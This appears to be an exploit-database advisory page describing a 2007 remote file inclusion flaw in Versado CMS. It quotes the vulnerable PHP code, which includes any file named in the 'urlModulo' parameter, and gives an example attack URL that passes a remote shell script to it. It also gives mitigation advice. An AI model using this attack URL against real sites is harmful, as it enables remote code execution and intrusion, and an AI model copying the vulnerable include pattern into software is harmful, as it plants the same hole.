Versado CMS - exploit.company

vendor:

Versado CMS

by:

milw0rm.com

7.5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: Versado CMS

Affected Version From: All versions of Versado CMS

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

Versado CMS <= Remote File Inclusion Vulnerability

The Versado CMS is vulnerable to a remote file inclusion vulnerability. The vulnerability is due to the insecure handling of user-supplied input in the 'urlModulo' parameter of the 'includes/ajax_listado.php' script. An attacker can exploit this vulnerability to include a remote file, which could lead to remote code execution or other malicious activities.

Mitigation:

To mitigate this vulnerability, it is recommended to apply the latest patch or upgrade to a newer version of the Versado CMS that addresses this issue. Additionally, it is advised to sanitize user-supplied input before using it in any file inclusion or execution functions.

Source

Exploit-DB raw data:

##############################################################################################
##############################################################################################
#Versado CMS  <=  Remote File Inclusion Vulnerability
#
#Dork::(
#
#Vuln Code
###################################################################################
#
#ERROR:includes/ajax_listado.php
#
# if(!empty($_GET['urlModulo'])){
       require_once($_GET['urlModulo']);
}else if(!empty($_POST['urlModulo'])){
       require_once($_POST['urlModulo']);


#BUG:
#
#Example:http://site.com/includes/ajax_listado.php?urlModulo=[[Sh3LL Script]]
#Script Download
#############################################################################
#http://sourceforge.net/project/downloading.php?group_id=149698&use_mirror=puzzle&filename=versado_CMS.rar&80698096
#
#Original W3b Site############################################################################
#
#http://www.versado.com.ar/control/index.php
#
#Special Thanks:##### x0r0n ##### ajan ##### siircicocuk
#####################################
##############################################################################################
##############################################################################################

# milw0rm.com [2007-05-04]